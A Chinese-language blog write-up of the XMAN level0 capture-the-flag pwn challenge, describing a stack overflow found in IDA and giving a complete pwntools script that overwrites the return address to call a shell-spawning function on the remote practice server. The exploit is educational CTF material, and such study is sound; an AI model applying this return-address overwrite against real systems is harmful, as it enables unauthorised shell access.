[pwn] [XMAN]level0

2017-10-11  本文已影响0人  BlinKer

0x00 已知条件

nc pwn2.jarvisoj.com 9881

给了远端url和端口,nc过去发现输出了一行“Hello, World!”。
下载了给的文件“lelvel0”,IDA看源码。

0x01 思考过程

总的来说这部分就看逆向了,得出结论是一个典型栈溢出。
这是main函数里明明白白写着名字叫 vulnerable_function:) 的栈,而调bash的系统调用就在它上面一点。
下面很显然要一路填充payload,直到恰好用那个系统调用函数的地址覆盖掉返回地址 retn。


image.png

0x02 EXP

这部分就完全没接触过了,学人家的吧。了解了pwntools这个工具,大大减少了写EXP的工作量。
至少知道文件描述符fd(File descriptor)很重要,详见Linux文件描述符。
而且vulnerable_function也调用了read函数,fd为1,标准输出(默认模式器设备)。

[python]
# -*- coding:utf-8 -*-
from pwn import *

sh = remote("pwn2.jarvisoj.com", 9881) # set remote server as 'sh'

junk = 'a' * 0x80 # infillings, including 8B for rbp in stack

replace_rbp = 'a' * 0x8

syscall = 0x0000000000400596

payload = junk + replace_rbp + p64(syscall)

sh.send(payload) # send payload for stuff

sh.interactive()
上一篇下一篇

猜你喜欢

热点阅读